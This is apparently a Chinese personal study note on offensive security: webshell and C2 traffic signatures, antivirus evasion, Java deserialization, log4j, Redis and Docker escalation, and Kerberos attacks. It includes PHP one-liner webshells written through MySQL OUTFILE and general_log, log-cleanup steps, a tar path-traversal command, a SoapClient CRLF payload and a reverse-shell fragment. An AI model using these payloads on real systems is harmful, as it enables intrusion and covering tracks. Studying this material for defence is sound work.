web知识

WEB 知识点

用来记一些知识点的概念

最近主要学java安全

绕沙箱

  • 检查所有进程id,无常见进程则不运行
  • 查注册表反虚拟机
  • IsDebuggerPresent反调试(非0则退出)
  • 写入注册表开机启动
  • raw+aes
  • 系统服务
  • 转移

防溯源

blogs/躲避检测/渗透测试中的身份隐藏.md at master · aplyc1a/blogs (github.com)

流量特征

cs shellcode

1、RWX(可读可写可执⾏)权限的内存空间

2、异或密钥固定,3.x 是 0x69,4.x 是 0x2e

3、命名管道名称字符串

\\.\pipe\MSSE-1676-server

%c%c%c%c%c%c%c%cMSSE-%d-sever

冰蝎

重点

1.0

  • Content-Type: application/octet-stream
  • Accpet头:application/xhtml+xmlapplication/xmlapplication/signed-exchange

2.0

  • 动态秘钥
  • 内置UA头
  • AES+BASE64
  • Content-Length: 16

3.0

  • 默认密码 rebeyond

  • content-type application/octet-stream

  • Accept 头application/xhtml+xmlapplication/xmlapplication/signed-exchange

4.0

  • 默认密码rebeyond
  • Accept : application/json, text/javascript, /; q=0.01 意思是浏览器可接受任何文件
  • 大端口 长连接

1.0

1.Accpet 头 application/xhtml+xmlapplication/xmlapplication/signed-exchange

2.Content-Type: application/octet-stream 这是一个强特征,查阅资料可知 octet-stream 的意思是,只能提交二进制,而且只能提交一个二进制,如果提交文件的话,只能提交一个文件,后台接收参数只能有一个,而且只能是流(或者字节数组),所以很少使用

2.0

1.使用 AES+base64,AES 使用动态秘钥进行加密。

2.请求的时候内置了十几个 UA 头,(导致频繁变化)

3.Content-Length: 16

3.0

在冰蝎中,任何请求,最终都会调用 Utils.getData 函数,对请求的参数加密。对于上传文件,命令执行来讲,加密的参数不定长。但是对于密钥交互,获取基本信息来讲,payload 都为定长,且无随机 padding。

1.固定链接秘钥

2.webshell 默认密码 rebeyond(md5(‘rebeyond’)[0:16]=e45e329feb5d925b)

3.连接 jsp 的数据包 content-type常见为 application/octet-stream

4.Accept 头 application/xhtml+xmlapplication/xmlapplication/signed-exchange

4.0

1.取消连接密码,自定义传输协议算法,默认连接密码 rebeyond (md5(‘rebeyond’)[0:16]=e45e329feb5d925b)

2.Accept 字段(弱特征)通常是: application/json, text/javascript, /; q=0.01 意思是浏览器可接受任何文件,但最倾向 application/json 和 text/javascript。
3.Content-Type 字段(弱特征),通常是 Content-type: Application/x-www-form-urlencoded
4.连接使用本地端口在 49700 左右(就是比较大的端口),每连接一次,每建立一次新的连接,端口就依次增加。
5.使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection:Keep-Alive
6.固定的请求头和响应头,请求字节头:dFAXQV1LORcHRQtLRlwMAhwFTAg/M ,响应字节头:TxcWR1NNExZAD0ZaAWMIPAZjH1BFBFtHThcJSlUXWEd

哥斯拉

类似冰蝎 2.0 的密钥交换方式,webshell 动态生成

https://github.com/BeichenDream/Godzilla/releases

重点

  • 请求包pass=”xxx”
  • 响应包为 0
  • md5 前十六位 +base64+md5 后十六位。

静态特征

  在默认脚本编码的情况下,jsp 会出现 xc、pass 字符和 Java 反射(ClassLoader,getClass().getClassLoader()),base64 加解码等特征。

动态特征

  1.Accept 字段(弱特征),默认是 Accept:text/html, image/gif, image/jpeg, *; q=.2, /; q=.2
  2.Cookie 中有一个非常关键的特征,最后会有个分号。估计后续的版本会修复。
  3.响应体的数据有一定特征,哥斯拉会把一个 32 位的 md5 字符串按照一半拆分,分别放在 base64 编码的数据的前后两部分。整个响应包的结构体征为:md5 前十六位 +base64+md5 后十六位。
  4.请求包长度 52541
  5.以 pass=“xxxx” 开始请求包
  6.请求包较长,响应包为 0
  7.一个 tcp 包里面有三个 http
  8.一共 6 个 http 报文,3 去 3 回

蚁剑

重点

  • UA头 antsword xxx (在/modules/request.js中可修改)
  • @ini_set(“displyad_errors”,”0”)
  • _0x参数

静态特征

  蚁剑中 php 使用 assert、eval 执行;asp 只有 eval 执行;在 jsp 使用的是 Java 类加载(ClassLoader),同时会带有 base64 编码解码等字符特征。

动态特征

  1.我们使用一句话木马上传 webshell,抓包后会发现每个请求体都存在以 @ini_set("display_errors","0");@set_time_limit(0) 开头。
  2.并且响应体的返回结果是 base64 编码发混淆字符,格式为:随机数 结果 随机数。
  3.参数名大多以“_0x…..=”这种形式(下划线可替换为其他)所以,以_0x 开头的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特征。

4.UA 头是 antsword xxx

菜刀

重点

  • base64
  • z0 z1参数

动态特征

  1.payload 在请求体中,采用 url 编码 +base64 编码,payload 部分是明文传输
  2.payload 中有 eval 或 assert、base64_decode 这样的字符。
  3.payload 中有默认固定的&z0=QGluaV9zZXQ…这样 base64 加密的攻击载荷
  4.参数 z0 对应 $_POST[z0] 接收到的数据,且固定为 QGluaV9zZXQ 开头。
  5.进行 base64 解码后可看到代码:@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0); 这段意思是首先关闭报错和 magic_quotes,接下来去获取主机的信息。

web解析与编码

浏览器解析与编码顺序及xss挖掘绕过全汇总-腾讯云开发者社区-腾讯云 (tencent.com)

编码

url编码

%接ascil字符

image-20240627110534196

HTML编码

&开头;结尾。

中间英文或者#后接十进制数或#x后接十六进制数。image-20240627110710381

JS编码

image-20240627110719051

解析顺序

浏览器解析:HTML文档被解析,生成DOM树和css样式表,遇到<script>标签的时候将控制权交给JS引擎

由于需要先生成DOM树再解析html编码内容,所以不可以将标签进行html编码image-20240627111104232

解码顺序

HTML解码。JS解码。URL解码。

APP

APP测试保姆级教程 - 先知社区

过ROOT :

FradiAntiRootDetection:hook底层禁止检测su(那么其实也可以直接hook对应检测函数),Apatch框架,还有狐狸面具+shamiko、KSU框架都可以过root检测

抓包代理:根证书手动设置,SSLUnpinning和算法助手

脱壳:为了可以用jadx反编译,先用MT管理器或者找一些文件资源的功能点查壳,然后用Fundex等软件脱壳

HOOK函数:Frida(hluda)

免杀

免杀方法

  1. 修改特征码,猜测杀软对哪几个字节进行查杀,再对应修改(几乎没用了)
  2. shellcode 加载器,改变加载到内存的方式和加密方式(主流)(分离免杀)
  3. 反射 dll 加载,把 dll 加密,远程下载到内存中再解密执行(高级)

无文件执行木马的方式有哪些?

powershell(脚本解析器) 》》》powershell.exe(应用程序)

VB.script(脚本解析器) 》》》cscript.exe(应用程序)

bat 处理 (脚本解析器) 》》》cmd.exe(应用程序)

javaSrtipt(脚本解析器) 》》》mshta.exe(应用程序)

怎么做 shellcode 免杀?

  1. 编码
  2. 加壳
  3. 混淆
  4. 分离免杀
  5. 特征码修改
  6. 添加无用逻辑语句
  7. 重写 api

分离免杀怎么做?

分为加载器和 shellcode 两部分,一般将 shellcode 存储在网页或者图片中,然后加载器远程加载存在 shellcode 的网页或者图片之类的

powershell 怎么远程加载?

可以远程加载 mimikazt,远控文件,exe 可执行文件实现无文件落地

Webshell

1.高版本 php 不换行执行命令

2.\报错

3.十六进制字符串(php7 不是数字,php5 是)

4.jspx CDATA 特性

jsp 的后缀可以兼容为 jspx 的代码,也兼容 jspx 的所有特性,如 CDATA 特性 jspx 的后缀不兼容为 jsp 的代码,jspx 只能用 jspx 的格式 在 XML 元素里,< 和&是非法的,遇到 < 解析器会把该字符解释为新元素的开始,遇到&解析器会把该字符解释为字符实体化编码的开始 但是我们有时候有需要在 jspx 里添加 js 代码用到大量的 < 和&字符,因此可以将脚本代码定义为 CDATA CDATA 部分内容会被解析器忽略,此时 ameter 依旧会与 getPar 拼接成为 getParameter。

5.实体化编码

6.其他编码格式

msf/cs

1.shellcode 加密

2.垃圾字节

3.硬编码单字节秘钥进行运算

4.移位

5.交换连续字节

沙盒免杀

JAVA

基础概念

base 加密网站 Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)

java-web 内存马 https://www.freebuf.com/articles/web/274466.html

rO0AB:base64 加密的 java 对象

https://xz.aliyun.com/t/7079
https://xz.aliyun.com/t/7264

JNDI(Java 命名和目录接口)

JNDI 是一个接口,在这个接口下会有多种目录系统服务的实现,我们能名称等去找到相关的对象,并把它下载到客户端中来。—RMI OR LDAP

RMI(远程方法调用)

作用

RMI 实现了 java 利用远程服务器为具体的 java 方法提供接口,本地只需要根据接口类的定义来提供参数即可调用,依靠 JRMP(远程方法协议)

要求

1.传输的类必须可序列化

2.客户端服务器的 serialVersionUID 字段相同,

3.被远程调用方法的对象一定要实现 java.rmi.remote 接口,远程对象实现类必须继承 UnicastRemoteObject 类(或者构造方法调用 UnicastRemoteObject.exportObject()静态方法)

运行逻辑

0.JDK 提供注册表功能,创建 RMIRegistry 对象监听 1099 端口

手动注册如下

1.服务器随机监听一个端口

2.客户端的 stub 通过 JRMP 协议封装数据,调用了上面的方法

3.连接服务端并提交参数

4.执行方法 返回结果给客户端

shiro 反序列化

(apache 安全框架)

Shior550

https://blog.csdn.net/Aaron_Miller/article/details/106475088

取出请求包中 rememberMe 的 cookie 值 => Base64 解码=>AES 解密(用到密钥 key,硬编码)=> 反序列化。知道了秘钥就可以控制反序列化的内容来构造链子

则 payload 构造:序列化=>AES 加密=>BASE64=> 写入 cookie

条件:获取 key,存在攻击链

流程:攻击者搭建恶意 vps,存放反弹 shell(经过 base64 加密并且反序列化工具处理!这里的 base64 加密跟服务器无关,应该是为了免杀跟避免编码问题)的 payload1 并进行 JRMPListener,将上述 VPS JRMPListener 的地址进行 AES 加密和 base64 编码,构造请求包 cookie 中的 rememberMe 字段,向存在漏洞的服务器发送加密编码后的结果 payload2。
服务器接收到 payload2 进程 base64 解码 AES 解密,反序列化过程中触发 pop 链造成 payload2 中的语句执行,发现要和恶意 VPS 的 JRMP 通信,请求的过程中接收到了反弹 shell 的 payload1。

Shiro721

由于 Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 rememberMe 字段存在问题,用户可通过 Padding Oracle 加密生成的攻击代码来构造恶意的 rememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行

条件:合法 cookie,攻击链

绕waf

利用http请求头:请求头修改随机字符,置空

利用shiro特性:rememberMe脏数据,空白字符

Host改成ip

fastjson 反序列化

(json 跟 java 对象转换库)

https://blog.csdn.net/Bossfrank/article/details/130100893

要求:RMI 服务的开启(x),没过滤 json 格式,fastjson 版本

fastjson 查看版本

fastjson反序列化漏洞区分版本号的方法总结 - komomon - 博客园

原理

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象

AutoType 功能(代替了 setter/getter,避免了两个对象反序列化丢失子类),fastjson 在对 json 字符串反序列化的时候,会读取到 @type 的内容,将 json 内容反序列化为 java 对象并调用这个类的 setter 方法

攻击分类

1.JNDI打:(配合 RMI 服务)我们搭建一个远程恶意站点,然后构造语句去让服务器反序列的时候访问 rmi 服务器,rmi 服务器来执行我们在恶意站点上的 class 文件

2.传入恶意的 TemplatesImpl 类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes 生成 java 实例,这就达到 fastjson 通过字段传入一个类,再通过这个类被生成时执行构造函数

无回显

1.一种是直接将命令执行结果写入到静态资源文件里,如 html、js 等,然后通过 http 访问就可以直接看到结果

2.通过 dnslog 进行数据外带,但如果无法执行 dns 请求就无法验证了

3.直接将命令执行结果回显到请求 Poc 的 HTTP 响应中

各版本

Java中Fastjson各版本漏洞对抗史与总结 - 先知社区

完全零基础入门Fastjson系列漏洞(基础篇) - 先知社区

TemplatesTmpl链

img

TemplatesTmpl包的getTransletInstance方法对于成员属性_class下标为_transletIndexdex类进行实例化

image-20241129094601977

一直往上分析,可以发现就是_outputProperties属性的getter方法

image-20241129094707370

来到赋值类,_class类可控但是要求\bytecodes部位null,父类为ABSTRACT_TRANSLET

image-20241129094818483

JdbcRowSetImpl链

image-20241129095125508

好理解很多,setAutoCommit方法会调this.connect(当this.conn空),然后调用了lookup(this.getDataSourceName)

image-20241129095258496

发现还存在一个setDataSourceName方法导致DataSourceName可控

Weblogic

(用于解析 java,部署大型分布式 Web 应用的 Web 中间件。)

分类:

1.weblogic 控制台的 7001 端口默认开启 T3 协议服务,T3 协议缺陷实现了 RMI

2.weblogic WLS Security 组件对外提供 webservice,使用 XMLDecoder 解析 XML 数据,存在反序列化漏洞

log4j2

(apache 日志库)

2.15.0>log4j2>2.0.0

远程代码执行原理

日志在打印的时候遇到 ${后以:分割为 prefix 和 key,对于 prefix 会调用 lookup 方法并且带入 key 参数

由于 JNDI 出栈没有做好过滤,攻击者利用 lookup 功能对{}内内容的解析进行 JNDI 注入,受害者请求远程服务来链接本地对象,在{}中调用 JNDI 接口(LDAP/RMI 服务)向攻击者提前部署好的恶意站点获取恶意的.class 对象并运行代码

此时的 JNDI 服务调用 RMI 服务,RMI 通过 Reference 类绑定了一个外部远程对象

原理流程

1.目标代码调用了 InitialContext.lookup(URI)且 URL 为恶意 RMI 地址

2.恶意 RMI 服务器返回一个 Reference 对象,其中有一个恶意的 factory 类

3.factory 被动态加载并且实例化,接着调用 factory.getObjectInstance()获取外部远程对象实例

(代码可以写入 factory 类的 getObjectInstance,构造方法,静态代码块等位置)

攻击流程

ldap

编写反弹 shell 语句,base64 编码。攻击机上存放恶意.java 文件并且编译为.class,同一目录下开启 http 服务,开启 LDAP 服务(1389 端口)

再新建一个 shell 开启监听,在 JNDL 注入点,最后的是 class 文件名前缀,ip 是 http 服务的 ip

高版本

jdk(>8u191)

image-20241127163323424

默认禁止了codebase的加载

绕过分析:ldap lookup的javaFactory(必须是ObjectFactory的子类)可以来自codebase或者本地的类地址,然后获得实例后构建JavaClassName指定的对象,最后log4j调用toString转换为字符串

image-20241127163705453

image-20241127163805742

那么 无法调用远程codebase的高版本jdk(>8u191)只需要找到一个ObjectFactory子类且可利用的java本地类即可

image-20241127164919024

例如BeanFactory类 他的默认构造函数可以实例化一个类的同时调用任意只有string参数的方法

再去利用ELProcessor类

image-20241127165012947

log4j2 (2.15-rc1)

对jndi的host port 加载的java类型等进行了限制

image-20241127170940753

struct2

.action \.do文件

OGNL:用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

st2-045:注意请求头Content-Type

内存马

原理:通过在 Java 虚拟机(JVM)中运行的恶意代码,实现对被攻击者系统的远程控制。其原理是通过在 Java 虚拟机中注入特定的 Java 类、变量或方法等 Java 对象,然后在 Java 虚拟机中运行这些代码,实现对受害者机器的远程控制

Tomcat 实现内存马的方式

Servlet-API 型

  通过命令执行等方式动态注册一个新的 listener、filter 或者 servlet,从而实现命令执行等功能。特定框架、容器的内存马原理与此类似,如 tomcat 的 value 内存马

filter 型内存马

  所谓 filter 内存马,就是在 web 容器中创建了含有恶意代码的 filter,在请求传递到 servlet 前被拦截下来且执行了恶意代码。

servlet 型内存马

  servlet 型的内存马原理就是注册一个恶意的 servlet,与 filter 相似,只是创建过程不同。

  核心还是看 StandardContext,在 init filter 后就调用了 loadOnStartup 方法实例化 servlet

  可以发现 servlet 的相关信息是保存在 StandardContext 的 children 字段。

listener 型内存马

  listener 用于监听时间的发生或状态的改变,其初始化与调用顺序在 filter 之前。

  listener 选择很多。我们选择与 request 相关的 ServletRequestListener。

  Tomcat 使用两类 Listener 接口分别是 org.apache.catalina.LifecycleListener 和原生 Java.util.EventListener。

  一般作为 webshell,需要对网站发送请求使用 Java.util.EventListener。

字节码增强型

  通过 java 的 instrumentation 动态修改已有代码,进而实现命令执行等功能。

查杀思路

  • 检查日志,相同路径但是参数不同,页面不存在返回200

  • 中间件日志报错

  • 流量分析

  • 利用 Java Agent 遍历加载到内存中的 Class

  • 先判断是否是内存马,是则进入内存查杀。

特征判断

  • (关键字)根据 shell 或者随机数关键字

  • (优先级)根据 Filter 优先级;为了使权限最大化,保证在各种情况下都可以访问,需要把优先级调到最高

  • (加载器)根据特殊的 classloader(类加载器)、 Filter 对应的 ClassLoader 目录进行检测; Filter 也是一种 Class,必定需要特定的 classloader(类加载器)

  • (恶意代码)把内存中 class 导出,反编译之后查看是否存在恶意代码;如调用的了一些特殊的方法

    • java.lang.Runtime.getRuntime
    • defineClass
    • Invoke
  • (配置)web.xml 中没有 fitter 配置

JBOSS

Jboss 是一个管理 EJB 的容器和服务器。

分类

jbossmq-httpil/HTTPServerILServlet
invoker/readonly
invoker/JMXInvokerServlet

原理

程序获取 http 请求数据保存到 httpRequest 中,进一步处理后保存到变量 ois 中,然后程序没有对该数据进行过滤,直接使用 readObject()方法进行反序列化。

php

phpmyadmin

Select into outfile 写入

条件

1.web 目录写权限以及单引号

2.绝对路径(phpinfo/php 探针/报错)

3.secure_file_priv 没有具体值

show global variables like ‘%secure%’; 查看当前设置
1.当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入 | 导出,此时无法提权

  1. 当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入 | 导出只能发生在 /tmp/ 目录下,此时也无法提权
  2. 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入 | 导出做限制,此时可提权 在 MySQL 的配置文件 my.ini 中进行配置

利用

1
select '<?php @eval($POST[1]); ?>' INTO OUTFILE 'D:\\phpStudy\\PHPTutorial\\WWW\\a.php' 这里需要注意的一个点是路径需要用”\“

日志写入

1.查看配置

1
2
3
SHOW VARIABLES LIKE ‘%general%
查看mysql的日志状态,默认是关闭的
general_log_file为日志保存的位置

2.开启 general_log 模式

1
2
3
set global general_log = on;
记录用户输入的每条命令并保存在 C:\phpStudy\MySQL\data\stu1.log 的文件中
开启general_log之后把general_log_file的值修改为该网站默认路径下的某一个自定义的php文件中,然后通过log日志进行写入一句话木马,然后再进一步利用

3.修改日志目录为 shell 地址

1
set global general_log_file='C:\\phpStudy\\MySQL\\data\\shell.php';

4.写入 shell 并连接利用

1
select '<?php eval($_POST[cmd]);?>'

5.抹除痕迹

1
2
3
set global general_log_file='C:\\phpStudy\\MySQL\\data\\stu1.log';
set global general_log = off;
SHOW VARIABLES LIKE '%general%'

绕过disable_funcion

bypass disable_function的方法及蚁剑插件bypass-php-function使用 - zw1sh - 博客园 (cnblogs.com)

apache mod_cgi

image-20240627173315087

前提image-20240627173252656

image-20240627173423213

LD_preload

写一个动态链接文件image-20240906104037469

shellshock

PHP-FPM

其他

UAF

FFI

COM

PHP 爆路径

单引号,错误路径报错

phpinfo 和 phpmyadmin 探针

任意文件读取

图片路径

phpinfo

路径:(_SERVER[“SCRIPT_FILENAME”])

支持程序:如redis,mysql,fastcgi,gopher

真实ip:(_SERVER[“SERVER_ADDR”] (绕cdn)

敏感配置:远程文件包含,文件读取,禁用函数名,基础目录,短标签,配置文件位置

解析漏洞

IIS

罕见后缀名

asa cer cdx

分号截断

ap.asp;,jpg

PUT文件上传

MS15-034

HTTP.sys RCE

文件夹解析**(5.x-6.x**)

/xx.asp/xx.jpg(控制文件夹名字就可以让此文件夹下文件执行)

CGI漏洞(7.0-7.5):默认开启 Fast-CGI

上传如上文件,访问路径/1.jpg/.php 会导致图片被解析为 php 并生成 shell

Ngnix

CGI漏洞(<0.8.37)

和 IIS 7.0/7.5 一致

%00 空字节

Nginx 0.5.*

Nginx 0.6.*

Nginx 0.7 <= 0.7.65

Nginx 0.8 <= 0.8.37

xxx.php%00.jpg

Apache

文件名解析

从右到左,例如上传一个 xie.php.rar,无法识别 rar 会走到 php

罕见后缀

.htaccess

RCE

CVE-2021-42013

2e url编码路径穿越后文件包含,可以包含/bin/sh

若开启cgi-bin可以rce

其他

windows: xx.jpg[空格或.]会被默认删除,可绕过黑名单

Redis 提权

渗透测试怎么利用 Redis 提权 - h0cksr - 博客园 (cnblogs.com)

默认端口 6379

利用

一.登录 redis

默认无密码与弱口令/未授权访问

二.提权

1.写入 webshell

2.公私钥获取 root 权限

3.crontab 定时任务反弹 shell

  • 只有centos才可以: 因为默认redis写⽂件后是644的权限,但ubuntu要求执⾏定时任务⽂件**/var/spool/cron/crontabs/权限必须是600也就是-rw———-才会执⾏,否则会报 错(root) INSECURE MODE (mode 0600 expected),⽽Centos的定时任务⽂ 件/var/spool/cron/权限644**
  • 执⾏redis保存RDB会存在乱码,在Ubuntu上 会报错,⽽在Centos上不会报错
  • 然后由于系统的不同,crontrab定时⽂件位置也会不同

4.主从复制 rce

防御

更改端口

修改口令

绑定内网

开启保护模式

docker逃逸

检查环境

ls -al / 寻找.dockerenv

cat /proc/1/cgroup

漏洞

Docker Remote Api 未授权访问

2375端口,特权模式拉取一个镜像后挂载宿主机进入一个新建的目录,然后目录中写一个sh文件反弹shell

特权模式逃逸

cat /proc/self/status|grep Cap检查0000003fffffffff

同上挂载,还可以写计划任务,ssh公钥,chroot换目录

危险挂载

Docker Socket挂载

宿主机procfs

脏牛

runC

端口

常用

21 ftp

22 ssh

23 telnet

25 smtp

101 pop3

135 rpc

139 445 SMB netbios MS170

389 LDAP协议

3389 远程桌⾯

5985 winrm

数据库

1433 MSSQL

1521 Oracle

3306 MySQL

5432 PostgreSQL

web服务

80-89 web

8000-9090 web

特殊服务

443 SSL⼼脏滴⾎

2601、2604 zebra路由,默认密码zebra

873 Rsync未授权

5984 CouchDB http://xxx:5984/_utils/

6379 redis未授权

7001、7002 weblogic默认弱⼝令、反序列化

9200、9300 elasticsearch 参考乌云:多玩某服务器ElasticSearch命令执⾏漏洞

11211 memcache未授权访问

50000 SAP命令执⾏

50070、50030 hadoop默认端⼝未授权访问

内网

Microsoft-DS traffic : 445/TCP 445/UDP

Kerberos : 88/TCP 88/UDP

LDAP ping : 389/UDP

DNS : 53/TCP 53/UDP

NetBIOS的相关服务 : 137/TCP 137/UDP 138/UDP 139/UDP 开放这些连续的端口,以便于通过防火墙来使用

面试小问题

域前置/CDN技术

利用CDN、域前置、重定向三种技术隐藏C2的区别_域前置与cdn区别-CSDN博客

CDN

注册一个域名,将他的A记录解析到一个cloudflare域名(或者其他cdn平台)上,然后再把自己的域名再注册一个cdn服务

将自己的cdn的A记录解析让他可以解析到C2的ip上,受害机的流量就只看得见cdn的ip了

1
2
通过CDN隐藏了自己真实的ip
需要一个不备案的域名 不限制https

域前置

同一个cdn下有两个域名,curl访问的时候取决于host头写的是哪个域名

1
2
通过CDN解析的特性(hosts头)来隐藏了ip和域名(除非你想分析hosts头)
基于https 可以利用高信誉域名(前提是和自己的ip在同个cdn下)

vCenter渗透思路

1.查看版本:https ://x.x.x.x/sdk/vimServiceVersions.xml 打cve拿webshell

2.寻找凭据后解密拿cookie

•Linux:
/storage/db/vmware-vmdir/data.mdb
•Windows
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

3.获取机器hash或者密码

生成快照-vol/Vmss2core内存分析

未授权访问

hadoop,FTP,LDAP,docker,Redis,Jboos,Jenkins..

站库分离怎么打?

立足点是web的时候常规打,翻找数据库配置文件

对于数据库

select * from information_schema.PROCESSLIST;

定位web端ipload_file(mysql<5.7)读文件

MSSQL:host_name() @@servername确认站库分离 尝试RCE

KDC服务器

启动到88,464

  1. 用户名爆破

  2. 密码喷洒和密码爆破

  3. Kerberoasting

  4. ASRepRoasting

  5. 黄金票据和白银票据

  6. MS14-068

  7. 非约束委派、约束委派、基于资源的约束委派

  8. 票据传递(ptt/ptk/ptc)

  9. mimikatz加密降级攻击(万能钥匙)

  10. 使用恶意的kerberos证书做权限维持

psexec原理

连接SMB共享后上传恶意服务文件到共享目录,打开SCM创建恶意服务连接管道

frp有哪些流量特征,如何进行隐藏?

Frp流量隐匿对抗排查_内网渗透

如果没有做任何配置或者 tls_enable=false,则 wireshark 抓取的流量就是纯明文的,很容易暴露

frpc 在连接认证 frps 的时候,会进行三次握手,会把 frp 的版本信息发给 frps 进行认证,如果是用的一个没有改过的 Frp 那么这时候只要建立连接,很容易就会被安全设备捕获到

打开 tls_enable 之后,流量就做了加密

使用 tls_enable 加密后,首次连接会一个 0x17 的头部特征,并发送一个大小为 243 的数据包

ubuntu定时任务弹shell失败

ubuntu的/bin/sh指向的是sh

重新改软连接,或者写成 bash -c “bash -i >& ……”

⽇志被删除如何处理

将⽂件 /proc/544/fd/7 拷⻉到 /var/log/messages

执⾏命令: cp /proc/544/fd/7 /var/log/messages

重新启动 rsyslog 服务即可恢复被误删除的⽇志⽂件

为什么 aspx 木马权限比 asp 大?

aspx 使用的是.net 技术。IIS 中默认不支持,ASP 只是脚本语言而已。

入侵的时候 asp 的木马一般是 guest 权限而 APSX 的木马一般是 users 权限。

代码执行、文件读取、命令执行函数有哪些?

1
2
3
4
5
6
1)代码执行:
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_function
2)文件读取:
file_get_contents(),highlight_file(),fopen(),readfile(),fread(),fgetss(),fgets(),parse_ini_file(),show_source(),file()等
3)命令执行:
system(), exec(), shell_exec(), passthru() ,pcntl_exec(),popen(),proc_open()

提权为何选择可读写目录?不用带空格的目录?

因为 exp 执行多半需要空格界定参数

token 和 refer 横向对比 谁安全等级高?

token 安全等级更高

HTTPS

基于SSL/TLS协议,包含:

  • 公钥:加密数据
  • 证书颁发机构 CA签名:保证证书真实性和信任
  • 证书持有者信息:包含域名和组织信息

内存马怎么手工排查,不用工具,怎么手动杀内存马

内存马如何排查:如果发现了一些内存 webshell 的痕迹,需要有一个排查的思路来进行跟踪和分析,也是根据各类型的原理,
1、如果是 jsp 注入,日志中排查可以 jsp 的访问请求。
2、如果是代码执行漏洞,排查中间件的 error.log,查看是否有可疑的报错,判断注入时间和方法。
3、根据业务使用的组件排查可能存在的 java 代码执行漏洞,spring 的 controller 了类型的话根据上报 webshell 的 url 查找日志,filter 或者 listener 类型,可能会有较多的 404 但是带有参数的请求。
杀马:
终止进程:如果确认某个进程是内存马,可以尝试终止该进程。在 Windows 系统中,可以通过任务管理器或者命令行工具 taskkill 来终止进程;在 Linux 系统中,可以通过命令行工具 kill 或者 pkill 来终止进程。
删除文件:如果进程终止后,还需要删除相关的文件,以防止内存马重新启动。在 Windows 系统中,可以直接删除相关文件;在 Linux 系统中,需要先终止进程,然后再删除文件。

鱼叉和水坑

鱼叉攻击:指利用木马程序作为电子邮件的附件,发送到目标电脑上,诱导受害者去打开附件来感染木马

水坑攻击:分析攻击目标的上网活动规律,寻找攻击目标经常访问的网站的弱点,将网站攻破并植入恶意程序,等待目标访问

企业安全

CDN

跨域

IDS/IPS

  • 加密通道

  • 混淆编码

  • 分割攻击

  • 流量模仿

票据

常见内网ip

10.0.0.0/8
10.0.0.0 - 10.255.255.255
172.16.0.0/12
172.16.0.0 - 172.31.255.255
192.168.0.0/16
192.168.0.0 - 192.168.255.255

登录口

  • 注入点与万能密码
  • 不安全用户提示
  • 源代码
  • 验证码
  • 暴力破解
  • 逻辑漏洞

针对kerbores的攻击有哪些?

  • ⽤户名爆破
  • 密码喷洒和密码爆破
  • Kerberoasting
  • ASRepRoasting
  • ⻩⾦票据和⽩银票据
  • MS14-068
  • ⾮约束委派、约束委派、基于资源的约束委派
  • 票据传递(ptt/ptk/ptc)
  • mimikatz加密降级攻击(万能钥匙)
  • 使⽤恶意的kerberos证书做权限维持

windows登陆成功失败

4624/4625

web 零散知识

php 源码泄露问题

PHP<=7.4.21 时通过 php -S 的 WEB 服务器存在源码泄露漏洞,可以将 PHP 文件作为静态文件直接输出源码

tar 解压目录穿越

https://blog.csdn.net/wanmiqi/article/details/110202417

在 python 或者 Unix 下,使用 tar 压缩的文件名如果存在目录穿越,那么解压后的文件也会造成穿越

ar cPvf shell.tar ../../../../../../../../var/www/html/testupload/payload.php

pickle 反序列化

yaml 反序列化

Phpsession 特性

PHP session 反序列化漏洞原理解析 - 掘金 (juejin.cn)

  1. 利用 session 上传文件(配合文件上传)
  2. 由于 php 序列化处理器的不同导致的反序列化

CRLF 注入

每日漏洞 | CRLF 注入 - FreeBuf 网络安全行业门户

利用换行符和回车符导致注入 http 数据

Nodejs Ssrf 拆分攻击

利用的是 nodejs 对于特殊字符的转换导致不能正常过滤掉控制字符/r/n 导致的 CRLF 注入

Soap ssrf

结合 CRLF 注入:通过第二个参数控制 UA 间接可控制 content-type

SoapClient 反序列化 SSRF - 知乎 (zhihu.com)

1
2
3
4
5
'X-Forwarded-For: 127.0.0.1',

'Cookie: PHPSESSID=my_session'

);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab")); $aaa = serialize($b); $aaa = str_replace('^^',"\r\n",$aaa); $aaa = str_replace('&','&',$aaa); echo $aaa; $c = unserialize($aaa); $c->not_exists_function(); ?>

Phar 反序列化

同时存在文件上传和和一些触发 phar 协议的函数的时候可以强制触发反序列化

自动注册类函数 spl_autoload_register

假如可以上传.inc 文件,同时存在反序列化,则将 webshell 修改为 inc 文件上传,记录上传的文件名,将他作序列化之后输入到反序列化的地方即 getshell

Docker PHP 裸文件本地包含

只有文件包含但是无法上传文件,则需要利用本地文件

  1. 日志包含:由于 Docker 将日志文件重定向,包含权限不足
  2. Phpinfo 与条件竞争

我们需要获取文件名,同时需要条件竞争

  1. window 通配符
  2. session.upload_progress
  3. pearcmd.php

DNS 域传送漏洞

https://cloud.tencent.com/developer/article/1555532

DNS 备份服务器通过”域传送”从主服务器上复制数据,如果域传送被攻击者利用就会导致整个网络拓扑泄露,一般使用 privateDNS 防御(内外网分离),限制区域传送 ip 并且设置 TSIG key

利用:nslookup -type=ns 域名

然后进入交互模式 ls 列出域名–> 是否可以列出域

kali 下 dig 发送 axfr 请求,要求返回某个区域全部记录 dnsenum dnswalk 都可以

未设置 spf 导致邮箱任意伪造

https://www.cnblogs.com/wkzb/p/15401932.html
https://www.cnblogs.com/wkzb/p/15553178.html
